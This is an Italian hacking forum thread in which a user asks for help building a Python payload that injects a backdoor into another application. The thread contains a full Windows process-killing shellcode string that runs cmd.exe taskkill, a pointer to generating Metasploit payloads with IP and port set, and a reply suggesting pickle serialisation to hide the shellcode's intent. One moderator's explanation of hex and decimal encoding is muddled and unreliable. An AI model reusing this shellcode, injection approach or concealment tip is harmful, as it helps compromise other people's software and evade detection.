Author Topic: Domanda codice  (Read 6805 times)

Ananke

  • Guest
on: June 25, 2012, 02:01:37 PM
Salve a tutti!
Non so se questa è la sezione giusta o meno, eventualmente invito gli admins a spostare questo post.
Scrivo poiché sto lavorando ad un payload in python. Il progetto prevede che una volta eseguito venga injettato il codice di una backdoor all'interno di un altro applicativo. L'unico modo che ho trovato per farlo è inserire il codice da ingettare in questo formato all'interno del sorgente: x68\xcb\xed\xfc

Se non erro questo codice viene definito hex, mi chiedevo: qualcuno sa come sia possibile trasformare un sorgente python in hex?
Mi smebra che sia possibile altrimenti ottenere da metasploit un payload (dei suoi) sotto forma di codice dopo aver opportunatamente settato i parametri IP, PORT. Sapresete dirmi come si fa?

Grazie in anticipo, ciaoo.



ostendali

  • Global Moderator
  • Hero Member
  • *****
  • Posts: 587
    • View Profile
Reply #1 on: June 25, 2012, 03:19:43 PM
bastava domandare a google ed esso te lo dice:
http://code.activestate.com/recipes/496969-convert-string-to-hex/

opure hai descritto male cose esattamente corresti fare, se ci illumini ulteriormente forse ti potremmo essere d'aiuto.

happy hacking!



Ananke

  • Guest
Reply #2 on: June 25, 2012, 04:06:56 PM
Grazie della rapida risposta, ma mi sembra di capire che questo serva per trasformare in hex dle testo.
Ma se io voglio trasformare un programma scritto in python mantenendone la possibilità di funzionare?
Magari ho capito male e non è possibile farlo.
Ad esmepio uno shellcode di metasploit ha questa faccia:

process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

P.S. Può essere che sia stato scritto direttamente in questo formato? O che anche mediante una conversione epnsata per normale testo rimanga eseguibile?

SCusate eventuali strafalcioni ma non sono molto esperto
« Last Edit: June 25, 2012, 04:09:18 PM by Ananke »



drego85

  • Global Moderator
  • Full Member
  • *****
  • Posts: 128
    • View Profile
    • Andrea Draghetti
Reply #3 on: July 03, 2012, 12:46:10 PM
Normalmente il codice è scritto in decimale e poi convertito in esadecimale, sarà poi l'elaboratore ricevete a interpretarlo ed eseguirlo.

Quindi non dovresti apportare alcuna variazione al tuo codice, ma solo convertirlo!

Andrea

Andrea Draghetti
Personal Blog


break0x90

  • Newbie
  • *
  • Posts: 30
    • View Profile
Reply #4 on: July 03, 2012, 02:37:26 PM
perdona la risposta a "muso duro" ma forse non hai ben chiaro nemmeno tu cosa vorresti fare e sopratutto che python è un linguaggio interpretato.. con tutto quello che ne consegue.
Cmq potresti provare a serializzare tutto lo shellcode tramite pickle e "nascondere" così le tue intenzioni